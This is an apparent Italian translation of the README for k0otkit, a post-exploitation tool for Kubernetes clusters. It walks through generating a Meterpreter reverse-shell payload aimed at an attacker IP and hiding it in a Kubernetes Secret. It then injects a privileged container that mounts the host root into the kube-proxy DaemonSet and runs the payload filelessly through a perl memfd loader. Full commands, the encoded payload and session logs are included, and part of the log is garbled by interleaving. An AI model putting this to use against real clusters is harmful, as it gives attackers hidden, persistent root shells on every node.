k0otkit - Manipola K8s in stile K8s

Introduzione

k0otkit è una tecnica universale di post-penetrazione che può essere utilizzata in penetrazioni contro cluster Kubernetes.

Con k0otkit, puoi manipolare tutti i nodi nel cluster Kubernetes target in modo rapido, nascosto e continuo (reverse shell).

k0otkit è la combinazione di Kubernetes e rootkit.

Prerequisito:

k0otkit è uno strumento di post-penetrazione, quindi devi prima conquistare un cluster, in qualche modo riuscire a fuggire dal container e ottenere il privilegio di root del nodo master (per essere precisi, dovresti ottenere il privilegio di amministratore del Kubernetes target).

Scenario:

Dopo la penetrazione Web, ottieni una shell del target.
Se necessario, riesci ad aumentare il privilegio e ce la fai.
Scopri che l'ambiente target è un container (Pod) in un cluster Kubernetes.
Riesci a fuggire dal container e ce la fai (con CVE-2016-5195, CVE-2019-5736, docker.sock o altre tecniche).
Ottieni una shell root del nodo master e sei in grado di impartire comandi al cluster con kubectl sul nodo master come admin.
Ora vuoi controllare tutti i nodi del cluster il più rapidamente possibile. Ecco k0otkit!

k0otkit è descritto in dettaglio in k0otkit: Hack K8s in a K8s Way.

Utilizzo

Assicurati di avere la shell root sul nodo master del Kubernetes target. (Puoi anche utilizzare k0otkit se hai il privilegio di amministratore del Kubernetes target, anche se potresti dover modificare il comando kubectl in k0otkit_template.sh per usare il token o la certificazione.)

Assicurati di aver installato Metasploit sul tuo host attaccante (msfvenom e msfconsole dovrebbero essere disponibili).

Distribuisci k0otkit

Clona questo repository:

git clone https://github.com/brant-ruan/k0otkit
cd k0otkit/
chmod +x ./*.sh

Sostituisci l'IP e la porta dell'attaccante in pre_exp.sh con il tuo IP e la tua porta:

ATTACKER_IP=192.168.1.107
ATTACKER_PORT=4444

Genera k0otkit:

./pre_exp.sh

k0otkit.sh verrà generato. Quindi esegui il gestore di reverse shell:

./handle_multi_reverse_shell.sh

Una volta che il gestore è pronto, copia il contenuto di k0otkit.sh e incollalo nella tua shell sul nodo master del Kubernetes target, quindi premi <Enter> per eseguirlo.

Aspetta un momento e goditi le reverse shell da tutti i nodi :)

P.S. Non c'è limite a quanti cluster Kubernetes puoi manipolare con k0otkit.

Interagisci con le Shell

Dopo la distribuzione riuscita di k0otkit, puoi interagire con qualsiasi reverse shell come desideri:

# dentro msfconsole
sessions 1

Caratteristiche

utilizzare risorse e funzionalità di K8s (hackerare K8s in stile K8s)
iniezione dinamica di container
crittografia delle comunicazioni (grazie a Meterpreter)
senza file

Esempio

Genera k0otkit:

kali@kali:~/k0otkit$ ./pre_exp.sh
+ ATTACKER_IP=192.168.1.107
+ ATTACKER_PORT=4444
+ TEMP_MRT=mrt
+ msfvenom -p linux/x86/meterpreter/reverse_tcp LPORT=4444 LHOST=192.168.1.107 -f elf -o mrt
++ xxd -p mrt
++ tr -d '\n'
++ base64 -w 0
+ PAYLOAD=N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
+ sed s/PAYLOAD_VALUE_BASE64/N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw/g k0otkit_template.sh

Esegui il gestore di reverse shell:

kali@kali:~/k0otkit$ ./handle_multi_reverse_shell.sh
payload => linux/x86/meterpreter/reverse_tcp
LHOST => 0.0.0.0
LPORT => 4444
ExitOnSession => false
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 0.0.0.0:4444
msf5 exploit(multi/handler) >

Copia il contenuto di k0otkit.sh nella tua shell sul nodo master del Kubernetes target e premi <Enter>:

kali@kali:~$ nc -lvnp 10000
listening on [any] 10000 ...
connect to [192.168.1.107] from (UNKNOWN) [192.168.1.106] 48750
root@victim-2:~# volume_name=cache

mount_path=/var/kube-proxy-cache

ctr_name=kube-proxy-cache

binary_file=/usr/local/bin/kube-proxy-cache

payload_name=cache

secret_name=proxy-cache

secret_data_name=content

ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ containers:/{print NR}')

volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')

image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')

# create payload secret
cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
apiVersion: v1
kind: Secret
metadata:
  name: $secret_name
  namespace:volume_name=cache
root@victim-2:~#
root@victim-2:~# mount_path=/var/kube-p kube-system
type: Opaque
data:
  $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
EOF

# assume that ctr_line_num < volume_line_num
# otherwise you should switch the two sed commands below

# inject malicious container into kube-proxy pod
kubecroxy-cache
root@victim-2:~#
root@victim-2:~# ctr_name=kube-proxy-cache
root@victim-2:~#
root@victim-2:~# binary_file=/usr/local/bin/kube-proxy-cache
root@victim-2:~#
root@victim-2:~# payload_name=cache
root@victim-2:~#
root@victim-2:~# secret_name=proxy-cache
root@victim-2:~#
root@victim-2:~# secret_data_name=content
root@victim-2:~#
root@victim-2:~# ctr_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-tl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
  | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n" \
  | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: [\"sh\"]\n        args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n          pr      name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name" \
containers:/{print NR}')oxy -o yaml | awk '/

root@victim-2:~#
root@victim-2:~# volume_line_num=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | awk '/ volumes:/{print NR}')
root@victim-2:~#
root@victim-2:~# image=$(kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml | grep " image:" | awk '{print $2}')
root@victim-2:~#
root@victim-2:~# # create payload secret
root@victim-2:~# cat << EOF | kubectl --kubeconfig /root/.kube/config apply -f -
> apiVersion: v1
> kind: Secret
> metadata:
>   name: $secret_name
>   namespace: kube-system
> type: Opaque
> data:
>   $secret_data_name: N2Y0NTRjNDYwMTAxMDEwMDAwMDAwMDAwMDAwMDAwMDAwMjAwMDMwMDAxMDAwMDAwNTQ4MDA0MDgzNDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAzNDAwMjAwMDAxMDAwMDAwMDAwMDAwMDAwMTAwMDAwMDAwMDAwMDAwMDA4MDA0MDgwMDgwMDQwOGNmMDAwMDAwNGEwMTAwMDAwNzAwMDAwMDAwMTAwMDAwNmEwYTVlMzFkYmY3ZTM1MzQzNTM2YTAyYjA2Njg5ZTFjZDgwOTc1YjY4YzBhODEzZjM2ODAyMDAxMTVjODllMTZhNjY1ODUwNTE1Nzg5ZTE0M2NkODA4NWMwNzkxOTRlNzQzZDY4YTIwMDAwMDA1ODZhMDA2YTA1ODllMzMxYzljZDgwODVjMDc5YmRlYjI3YjIwN2I5MDAxMDAwMDA4OWUzYzFlYjBjYzFlMzBjYjA3ZGNkODA4NWMwNzgxMDViODllMTk5YjI2YWIwMDNjZDgwODVjMDc4MDJmZmUxYjgwMTAwMDAwMGJiMDEwMDAwMDBjZDgw
> EOF
secret/proxy-cache created
root@victim-2:~#
root@victim-2:~# # assume that ctr_line_num < volume_line_num
root@victim-2:~# # otherwise you should switch the two sed commands below
root@victim-2:~#
root@victim-2:~# # inject malicious container into kube-proxy pod
root@victim-2:~# kubectl --kubeconfig /root/.kube/config -n kube-system get daemonsets kube-proxy -o yaml \
>   | sed "$volume_line_num a\ \ \ \ \ \ - name: $volume_name\n        hostPath:\n          path: /\n          type: Directory\n" \
>   | sed "$ctr_line_num a\ \ \ \ \ \ - name: $ctr_name\n        image: $image\n        imagePullPolicy: IfNotPresent\n        command: [\"sh\"]\n        args: [\"-c\", \"echo \$$payload_name | perl -e 'my \$n=qq(); my \$fd=syscall(319, \$n, 1); open(\$FH, qq(>&=).\$fd); select((select(\$FH), \$|=1)[0]); print \$FH pack q/H*/, <STDIN>; my \$pid = fork(); if (0 != \$pid) { wait }; if (0 == \$pid){system(qq(/proc/\$\$\$\$/fd/\$fd))}'\"]\n        env:\n          - name: $payload_name\n            valueFrom:\n              secretKeyRef:\n                name: $secret_name\n                key: $secret_data_name\n        securityContext:\n          privileged: true\n        volumeMounts:\n        - mountPath: $mount_path\n          name: $volume_name" \
>   | kubectl replace -f -
daemonset.extensions/kube-proxy replaced

Aspetta le reverse shell:

msf5 exploit(multi/handler) > [*] Sending stage (985320 bytes) to 192.168.1.106
[*] Meterpreter session 1 opened (192.168.1.107:4444 -> 192.168.1.106:51610) at 2020-11-30 03:30:18 -0500

msf5 exploit(multi/handler) > sessions

Active sessions
===============

  Id  Name  Type                   Information                                    Connection
  --  ----  ----                   -----------                                    ----------
  1         meterpreter x86/linux  uid=0, gid=0, euid=0, egid=0 @ 192.168.1.106  192.168.1.107:4444 -> 192.168.1.106:51610 (192.168.1.106)

Funzione 1 Uscita e Riconnessione:

msf5 exploit(multi/handler) > sessions 1
[*] Starting interaction with 1...

meterpreter > shell
Process 9 created.
Channel 1 created.
whoami
root
exit
meterpreter > exit
[*] Shutting down Meterpreter...

[*] 192.168.1.106 - Meterpreter session 1 closed.  Reason: User exit
msf5 exploit(multi/handler) >
[*] Sending stage (985320 bytes) to 192.168.1.106
[*] Meterpreter session 2 opened (192.168.1.107:4444 -> 192.168.1.106:52292) at 2020-11-30 03:32:25 -0500

Funzione 2 Fuga e Controllo del Nodo:

msf5 exploit(multi/handler) > sessions 2
[*] Starting interaction with 2...

meterpreter > cd /var/kube-proxy-cache
meterpreter > ls
Listing: /var/kube-proxy-cache
==============================

Mode              Size      Type  Last modified              Name
----              ----      ----  -------------              ----
40755/rwxr-xr-x   4096      dir   2020-03-03 03:21:08 -0500  bin
40755/rwxr-xr-x   4096      dir   2020-03-05 22:23:56 -0500  boot
40755/rwxr-xr-x   4180      dir   2020-04-09 21:32:10 -0400  dev
40755/rwxr-xr-x   4096      dir   2020-04-17 02:31:15 -0400  etc
40755/rwxr-xr-x   4096      dir   2020-03-03 03:00:00 -0500  home
100644/rw-r--r--  36257923  fil   2020-03-05 22:23:56 -0500  initrd.img
100644/rw-r--r--  39829184  fil   2020-03-03 03:00:17 -0500  initrd.img.old
40755/rwxr-xr-x   4096      dir   2020-04-16 03:52:46 -0400  lib
40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:23 -0500  lib64
40700/rwx------   16384     dir   2020-03-03 02:33:19 -0500  lost+found
40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:29 -0500  media
40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:23 -0500  mnt
40755/rwxr-xr-x   4096      dir   2020-04-16 03:59:01 -0400  opt
40555/r-xr-xr-x   0         dir   2020-04-09 21:32:01 -0400  proc
40700/rwx------   4096      dir   2020-11-30 04:00:05 -0500  root
40755/rwxr-xr-x   1020      dir   2020-11-30 04:04:59 -0500  run
40755/rwxr-xr-x   12288     dir   2020-04-16 03:52:46 -0400  sbin
40755/rwxr-xr-x   4096      dir   2020-03-03 03:02:37 -0500  snap
40755/rwxr-xr-x   4096      dir   2020-03-03 02:33:23 -0500  srv
40555/r-xr-xr-x   0         dir   2020-04-14 22:51:06 -0400  sys
41777/rwxrwxrwx   4096      dir   2020-11-30 04:10:07 -0500  tmp
40755/rwxr-xr-x   4096      dir   2020-04-16 04:42:54 -0400  usr
40755/rwxr-xr-x   4096      dir   2020-03-03 02:51:25 -0500  var
100600/rw-------  6712336   fil   2020-03-05 22:22:58 -0500  vmlinuz
100600/rw-------  7184032   fil   2020-03-03 02:33:55 -0500  vmlinuz.old

k0otkit

Più Popolari

k0otkit - Manipola K8s in stile K8s

Introduzione

Utilizzo

Caratteristiche

Esempio